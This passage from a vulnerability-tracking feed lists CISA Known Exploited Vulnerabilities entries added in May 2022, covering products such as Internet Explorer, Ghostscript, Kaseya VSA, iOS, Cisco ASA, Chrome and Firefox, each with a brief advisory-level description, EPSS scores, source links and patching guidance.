https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2017-0210 Microsoft Internet Explorer Privilege Escalation Vulnerability (May 24, 2022). A privilege escalation vulnerability exists when Internet Explorer does not properly enforce cross-domain policies, which could allow an attacker to access information. EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0210: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Artifex Ghostscript Type Confusion Vulnerability https://kevwire.com/record/CVE-2017-8291 Artifex Ghostscript Type Confusion Vulnerability (May 24, 2022). Artifex Ghostscript allows -dSAFER bypass and remote command execution via .rsdparams type confusion with a "/OutputFile. EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25). Sources: CISA KEV entry CVE-2017-8291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Search Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-8543 Microsoft Windows Search Remote Code Execution Vulnerability (May 24, 2022). Microsoft Windows allows an attacker to take control of the affected system when Windows Search fails to handle objects in memory. EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25). Sources: CISA KEV entry CVE-2017-8543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kaseya VSA SQL Injection Vulnerability https://kevwire.com/record/CVE-2017-18362 Kaseya VSA SQL Injection Vulnerability (May 24, 2022). ConnectWise ManagedITSync integration for Kaseya VSA is vulnerable to unauthenticated remote commands that allow full direct access to the Kaseya VSA database. EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25). Sources: CISA KEV entry CVE-2017-18362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-0162 Microsoft Internet Explorer Information Disclosure Vulnerability (May 24, 2022). An information disclosure vulnerability exists when Internet Explorer does not properly handle JavaScript. The vulnerability could allow an attacker to detect specific files on the user's computer. EPSS 22.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0162: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer and Edge Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-3351 Microsoft Internet Explorer and Edge Information Disclosure Vulnerability (May 24, 2022). An information disclosure vulnerability exists in the way that certain functions in Internet Explorer and Edge handle objects in memory. The vulnerability could allow an attacker to detect specific files on the user's computer. EPSS 26.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-4655 Apple iOS Information Disclosure Vulnerability (May 24, 2022). The Apple iOS kernel allows attackers to obtain sensitive information from memory via a crafted application. EPSS 33.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-4656 Apple iOS Memory Corruption Vulnerability (May 24, 2022). A memory corruption vulnerability in Apple iOS kernel allows attackers to execute code in a privileged context or cause a denial-of-service (DoS) via a crafted application. EPSS 23.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4656: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS Webkit Memory Corruption Vulnerability https://kevwire.com/record/CVE-2016-4657 Apple iOS Webkit Memory Corruption Vulnerability (May 24, 2022). Apple iOS WebKit contains a memory corruption vulnerability that allows attackers to execute remote code or cause a denial-of-service (DoS) via a crafted web site. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 66.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4657: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Adaptive Security Appliance (ASA) SNMP Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2016-6366 Cisco Adaptive Security Appliance (ASA) SNMP Buffer Overflow Vulnerability (May 24, 2022). A buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) code of Cisco ASA software could allow an attacker to cause a reload of the affected system or to remotely execute code. EPSS 87.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25). Sources: CISA KEV entry CVE-2016-6366: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Adaptive Security Appliance (ASA) CLI Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-6367 Cisco Adaptive Security Appliance (ASA) CLI Remote Code Execution Vulnerability (May 24, 2022). A vulnerability in the command-line interface (CLI) parser of Cisco ASA software could allow an authenticated, local attacker to create a denial-of-service (DoS) condition or potentially execute code. EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25). Sources: CISA KEV entry CVE-2016-6367: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Messaging API Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-3298 Microsoft Internet Explorer Messaging API Information Disclosure Vulnerability (May 24, 2022). An information disclosure vulnerability exists when the Microsoft Internet Messaging API improperly handles objects in memory. An attacker who successfully exploited this vulnerability could allow the attacker to test for the presence of files on disk. EPSS 33.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XR Open Port Vulnerability https://kevwire.com/record/CVE-2022-20821 Cisco IOS XR Open Port Vulnerability (May 23, 2022). Cisco IOS XR software health check opens TCP port 6379 by default on activation. An attacker can connect to the Redis instance on the open port and allow access to the Redis instance that is running within the NOSi container. EPSS 11.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20821: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Kernel Use-After-Free Vulnerability https://kevwire.com/record/CVE-2021-1048 Android Kernel Use-After-Free Vulnerability (May 23, 2022). Android kernel contains a use-after-free vulnerability that allows for privilege escalation. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25). Sources: CISA KEV entry CVE-2021-1048: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Kernel Race Condition Vulnerability https://kevwire.com/record/CVE-2021-0920 Android Kernel Race Condition Vulnerability (May 23, 2022). Android kernel contains a race condition, which allows for a use-after-free vulnerability. Exploitation can allow for privilege escalation. EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25). Sources: CISA KEV entry CVE-2021-0920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2021-30883 Apple Multiple Products Memory Corruption Vulnerability (May 23, 2022). Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for remote code execution. EPSS 14.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25). Sources: CISA KEV entry CVE-2021-30883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2020-1027 Microsoft Windows Kernel Privilege Escalation Vulnerability (May 23, 2022). An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions. EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25). Sources: CISA KEV entry CVE-2020-1027: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Update Notification Manager Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2020-0638 Microsoft Update Notification Manager Privilege Escalation Vulnerability (May 23, 2022). Microsoft Update Notification Manager contains an unspecified vulnerability that allows for privilege escalation. EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25). Sources: CISA KEV entry CVE-2020-0638: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2019-7286 Apple Multiple Products Memory Corruption Vulnerability (May 23, 2022). Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for privilege escalation. EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7286: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS Memory Corruption Vulnerability https://kevwire.com/record/CVE-2019-7287 Apple iOS Memory Corruption Vulnerability (May 23, 2022). Apple iOS contains a memory corruption vulnerability which could allow an attacker to perform remote code execution. EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Information Disclosure Vulnerability https://kevwire.com/record/CVE-2019-0676 Microsoft Internet Explorer Information Disclosure Vulnerability (May 23, 2022). An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited this vulnerability could test for the presence of files on disk. EPSS 8.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0676: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chrome Blink Use-After-Free Vulnerability https://kevwire.com/record/CVE-2019-5786 Google Chrome Blink Use-After-Free Vulnerability (May 23, 2022). Google Chrome Blink contains a heap use-after-free vulnerability that allows an attacker to potentially perform out of bounds memory access via a crafted HTML page. EPSS 61.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25). Sources: CISA KEV entry CVE-2019-5786: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SMB Information Disclosure Vulnerability https://kevwire.com/record/CVE-2019-0703 Microsoft Windows SMB Information Disclosure Vulnerability (May 23, 2022). An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests, which could lead to information disclosure from the server. EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-0880 Microsoft Windows Privilege Escalation Vulnerability (May 23, 2022). A local elevation of privilege vulnerability exists in how splwow64.exe handles certain calls. An attacker who successfully exploited the vulnerability could elevate privileges on an affected system from low-integrity to medium-integrity. EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chrome WebAudio Use-After-Free Vulnerability https://kevwire.com/record/CVE-2019-13720 Google Chrome WebAudio Use-After-Free Vulnerability (May 23, 2022). Google Chrome WebAudio contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. EPSS 49.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25). Sources: CISA KEV entry CVE-2019-13720: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox and Thunderbird Type Confusion Vulnerability https://kevwire.com/record/CVE-2019-11707 Mozilla Firefox and Thunderbird Type Confusion Vulnerability (May 23, 2022). Mozilla Firefox and Thunderbird contain a type confusion vulnerability that can occur when manipulating JavaScript objects due to issues in Array.pop, allowing for an exploitable crash. EPSS 37.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25). Sources: CISA KEV entry CVE-2019-11707: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability https://kevwire.com/record/CVE-2019-11708 Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability (May 23, 2022). Mozilla Firefox and Thunderbird contain a sandbox escape vulnerability that could result in remote code execution. EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25). Sources: CISA KEV entry CVE-2019-11708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 